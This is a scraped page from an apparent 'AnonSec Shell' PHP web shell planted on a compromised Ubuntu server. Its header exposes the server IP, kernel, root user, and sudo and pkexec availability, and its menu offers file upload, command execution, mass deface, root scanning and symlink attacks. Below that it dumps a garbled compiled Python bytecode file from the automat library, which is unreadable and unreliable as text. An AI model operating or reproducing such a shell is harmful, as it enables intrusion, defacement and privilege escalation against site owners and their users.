AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/automat/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/automat/__pycache__/_methodical.cpython-310.pyc
o

��I^:>�@sbddlZddlmZddlmZzddlmZWney'ddlm	ZYnwddl
Z
ddlZddlm
Z
mZddlmZe�d	gd
��Zdd�Zd
d�Zdd�Ze
jdd�Gdd�de��Zdd�Zdd�Zdd�Zdd�Zdd�Ze
jddd �Gd!d"�d"e��Ze
jdd�Gd#d$�d$e��Ze
jddd �Gd%d&�d&e��Z e�Z!d'd(�Z"Gd)d*�d*e�Z#dS)+�N��wraps)�count)�getfullargspec)�
getargspec�)�Transitioner�	Automaton)�preserveName�ArgSpec��args�varargs�varkw�defaults�
kwonlyargs�kwonlydefaults�annotationsc
Cs�t|�}tt|j�|jtjr|jn|j|j	r|j	ndtjr"t|j
�ndtjr2|jr0t|j���ndndtjr?t|j
���d�Sdd�S)z�
    Normalize inspect.ArgSpec across python versions
    and convert mutable attributes to immutable types.

    :param Callable func: A function.
    :return: The function's ArgSpec.
    :rtype: ArgSpec
    �r)�getArgsSpecr�tupler
r�six�PY3r�keywordsrrr�itemsr)�func�specrr�5/usr/lib/python3/dist-packages/automat/_methodical.py�_getArgSpecs"	���
�rcCs2t|j|j|jrdnd|jrdnd|j�S)a0
    Get the name of all arguments defined in a function signature.

    The name of * and ** arguments is normalized to "*args" and "**kwargs".

    :param ArgSpec spec: A function to interrogate for a signature.
    :return: The set of all argument names in `func`s signature.
    :rtype: Set[str]
    )z*argsr)z**kwargs)�setr
rrrr)rrrr�_getArgNames2s
�����r cst���fdd��}|S)a
    Decorate a function so all its arguments must be passed by keyword.

    A useful utility for decorators that take arguments so that they don't
    accidentally get passed the thing they're decorating as their first
    argument.

    Only works for methods right now.
    cs�|fi|��S�Nr)�self�kw��frr�gOsz_keywords_only.<locals>.gr)r%r&rr$r�_keywords_onlyEs
r'T)�frozenc@sDeZdZdZejdd�Ze��Zejdd�Ze	fdd�Z
dd�ZdS)	�MethodicalStatez-
    A state for a L{MethodicalMachine}.
    F��reprcCsjt|j�}|D]!}t|j�}|�|�s(tdj|jj|jjt|j�t|j�d���q|j�	|||||�dS)ac
        Declare a state transition within the :class:`automat.MethodicalMachine`
        associated with this :class:`automat.MethodicalState`:
        upon the receipt of the `input`, enter the `state`,
        emitting each output in `outputs`.

        :param MethodicalInput input: The input triggering a state transition.
        :param MethodicalState enter: The resulting state.
        :param Iterable[MethodicalOutput] outputs: The outputs to be triggered
            as a result of the declared state transition.
        :param Callable collector: The function to be used when collecting
            output return values.

        :raises TypeError: if any of the `outputs` signatures do not match
            the `inputs` signature.
        :raises ValueError: if the state transition from `self` via `input`
            has already been defined.
        zdmethod {input} signature {inputSignature} does not match output {output} signature {outputSignature})�input�output�inputSignature�outputSignatureN)
r �argSpec�issubset�	TypeError�format�method�__name__r�machine�_oneTransition)r"r,�enter�outputs�	collector�	inputArgsr-�
outputArgsrrr�upon^s


���
zMethodicalState.uponcC�|jjSr!�r4r5�r"rrr�_name��zMethodicalState._nameN)r5�
__module__�__qualname__�__doc__�attr�ibr6r4�
serialized�listr=rArrrrr)Us"r)cCs0t||d�}|durt||j�}t|||�|S)z
    Get a L{Transitioner}
    N)�getattrr�initialState�setattr)�oself�symbol�	automaton�transitionerrrr�_transitionerFromInstance�s�rQcCsdSr!rrrrr�_empty�srRcCsdS)�	docstringNrrrrr�
_docstring�srTcCs$|jjtjjtjjfvrtd��dS)Nzfunction body must be empty)�__code__�co_coderRrT�
ValueError)�inst�	attributer%rrr�assertNoCode�s
��rZcs�tt|jdd�|��}�jr|}n	�fdd�|D�}t|��|D]
\}}�||f7�q!t|jddd�|jddd��}�fdd�|D�}	|	�|��jrT|	}
||
fS�jdd��j��fdd�|	��D�}
||
fS)	a�
    Filter out arguments that were passed to input that output won't accept.

    :param tuple args: The *args that input received.
    :param dict kwargs: The **kwargs that input received.
    :param ArgSpec inputSpec: The input's arg spec.
    :param ArgSpec outputSpec: The output's arg spec.
    :return: The args and kwargs that output will accept.
    :rtype: Tuple[tuple, dict]
    rNcsg|]\}}|�jvr|�qSr)r
��.0�n�v)�
outputSpecrr�
<listcomp>��z_filterArgs.<locals>.<listcomp>���csi|]\}}|�vr||�qSrrr[)�passed_arg_namesrr�
<dictcomp>�raz_filterArgs.<locals>.<dictcomp>csi|]\}}|�vr||�qSrrr[)�all_accepted_namesrrrd�s�)	r�zipr
rr�updaterrr)r
�kwargs�	inputSpecr_�
named_args�return_args�name�valuer�full_kwargs�
return_kwargsr)rer_rcr�_filterArgs�s "
�rpF)�eq�hashc@sveZdZdZejdd�Zejed�Zejdd�Z	eje�
e�dd�Zejddd�Z
e
jdd��Zdd
d�Zdd
�Zd	S)�MethodicalInputz.
    An input for a L{MethodicalMachine}.
    Fr*)�	validator)�defaultr+��initr+cC�
t|j�Sr!�rr4r@rrr�
_buildArgSpec��
zMethodicalInput._buildArgSpecNcs8t��j�j��t�j�t�j����fdd���}|S)z�
        Return a function that takes no arguments and returns values returned
        by output functions produced by the given L{MethodicalInput} in
        C{oself}'s current state.
        cs��j�g|�Ri|���j}����\}}�j|}g}|D]%}|r)||���t||�j|j�\}}	|�g|�Ri|	��}
|�|
�q||�Sr!)r4�_state�
transition�
collectorsrArpr0�append)r
rh�
previousStater9�	outTracerr:�valuesr-�a�krm�rMr"rPrr�doInput�s
z(MethodicalInput.__get__.<locals>.doInput)rQrNrOr
r4r)r"rM�typer�rr�r�__get__�s�
zMethodicalInput.__get__cCr>r!r?r@rrrrA�rBzMethodicalInput._namer!)r5rCrDrErFrGrOrZr4rN�Factory�dictr~r0rurzr�rArrrrrs�s

rsc@sZeZdZdZejdd�Ze��Zejddd�Zej	dd��Z
ddd	�Zd
d�Zdd
�Z
dS)�MethodicalOutputz/
    An output for a L{MethodicalMachine}.
    Fr*rvcCrxr!ryr@rrrrzr{zMethodicalOutput._buildArgSpecNcCstdj|j|jjd���)zX
        Outputs are private, so raise an exception when we attempt to get one.
        zf{cls}.{method} is a state-machine output method; to produce this output, call an input method instead.)�clsr4)�AttributeErrorr3r5r4�r"rMr�rrrr�
s��zMethodicalOutput.__get__cOs|j|g|�Ri|��S)z-
        Call the underlying method.
        )r4)r"rMr
rhrrr�__call__szMethodicalOutput.__call__cCr>r!r?r@rrrrArBzMethodicalOutput._namer!)r5rCrDrErFrGr6r4r0rurzr�r�rArrrrr��s


r�c@s.eZdZejdd�Zejdd�Zddd�ZdS)�MethodicalTracerFr*Ncs t||j|j���fdd�}|S)Ncs��|�dSr!)�setTrace)�tracer�rPrrr�)sz*MethodicalTracer.__get__.<locals>.setTrace)rQrNrO)r"rMr�r�rr�rr�&s
�zMethodicalTracer.__get__r!)r5rCrDrFrGrOrNr�rrrrr� sr�cCsdttt��S)z,
    Create a unique Python identifier.
    �_symbol_)�str�next�counterrrrr�gensym0sr�c@s�eZdZdZdd�Zddd�Ze		ddd	��Zed
d��Zedd
��Z	dd�Z
edd��Zedd��Ze
dd��Zdd�ZdS)�MethodicalMachinezj
    A :class:`MethodicalMachine` is an interface to an `Automaton`
    that uses methods on a class.
    cCst�|_i|_t�|_dSr!)r	�
_automaton�	_reducersr��_symbolr@rrr�__init__>szMethodicalMachine.__init__NcCs|durtd��|S)z�
        L{MethodicalMachine} is an implementation detail for setting up
        class-level state; applications should never need to access it on an
        instance.
        Nz.MethodicalMachine is an implementation detail.)r�r�rrrr�Ds
�zMethodicalMachine.__get__Fcs���fdd�}|S)a
        Declare a state, possibly an initial state or a terminal state.

        This is a decorator for methods, but it will modify the method so as
        not to be callable any more.

        :param bool initial: is this state the initial state?
            Only one state on this :class:`automat.MethodicalMachine`
            may be an initial state; more than one is an error.

        :param bool terminal: Is this state a terminal state?
            i.e. a state that the machine can end up in?
            (This is purely informational at this point.)

        :param Hashable serialized: a serializable value
            to be used to represent this state to external systems.
            This value should be hashable;
            :py:func:`unicode` is a good type to use.
        cst�|�d�}�r
|�j_|S)N)r6r4rH)r)r�rK)�stateMethod�state��initialr"rHrr�	decoratorfs�z*MethodicalMachine.state.<locals>.decoratorr)r"r��terminalrHr�rr�rr�PszMethodicalMachine.statec��fdd�}|S)zM
        Declare an input.

        This is a decorator for methods.
        cst�j|�jd�S)N)rOr4rN)rsr�r�)�inputMethodr@rrr�ws�z*MethodicalMachine.input.<locals>.decoratorr�r"r�rr@rr,pszMethodicalMachine.inputcr�)z�
        Declare an output.

        This is a decorator for methods.

        This method will be called when the state machine transitions to this
        state as specified in the decorated `output` method.
        cst�|d�S)N)r6r4)r�)�outputMethodr@rrr��sz+MethodicalMachine.output.<locals>.decoratorrr�rr@rr-~s
zMethodicalMachine.outputcCs$|j�|||t|��||j|<dS)z.
        See L{MethodicalState.upon}.
        N)r��
addTransitionrr~)r"�
startState�
inputToken�endState�outputTokensr:rrrr7�s�z MethodicalMachine._oneTransitioncr�)�


        c�t����fdd��}|S)Ncst|�j�j�}�||jj�Sr!)rQr�r�r|rH)rMrP��	decorateer"rr�	serialize�s�zBMethodicalMachine.serializer.<locals>.decorator.<locals>.serializer)r�r�r@�r�rr��sz/MethodicalMachine.serializer.<locals>.decoratorrr�rr@r�
serializer�szMethodicalMachine.serializercr�)r�cr�)NcsR�|g|�Ri|��}i}�j��D]}|||j<qt|�j�j�}|||_dSr!)r��statesrHrQr�r|)rMr
rhr��mapping�	eachStaterPr�rr�unserialize�s
�
zFMethodicalMachine.unserializer.<locals>.decorator.<locals>.unserializer)r�r�r@r�rr��s	z1MethodicalMachine.unserializer.<locals>.decoratorrr�rr@r�unserializer�szMethodicalMachine.unserializercCst|j|j�Sr!)r�r�r�r@rrr�	_setTrace�szMethodicalMachine._setTracecCs*ddlm}||jdd�dd�dd�d�S)a
        Generate a L{graphviz.Digraph} that represents this machine's
        states and transitions.

        @return: L{graphviz.Digraph} object; for more information, please
            see the documentation for
            U{graphviz<https://graphviz.readthedocs.io/>}

        r)�makeDigraphcSr>r!r?)r�rrr�<lambda>��z-MethodicalMachine.asDigraph.<locals>.<lambda>cSr>r!r?)r,rrrr��r�cSr>r!r?)r-rrrr��r�)�
stateAsString�
inputAsString�outputAsString)�
_visualizer�r�)r"r�rrr�	asDigraph�s
�zMethodicalMachine.asDigraphr!)FFN)r5rCrDrEr�r�r'r�r,r-r7r�r��propertyr�r�rrrrr�8s(
�




r�)$�collections�	functoolsr�	itertoolsr�inspectrr�ImportErrorrrFr�_corerr	�_introspectionr
�
namedtuplerrr r'�s�objectr)rQrRrTrZrprsr�r�r�r�r�rrrr�<module>s@�
.(
+"

Anon7 - 2022
AnonSec Team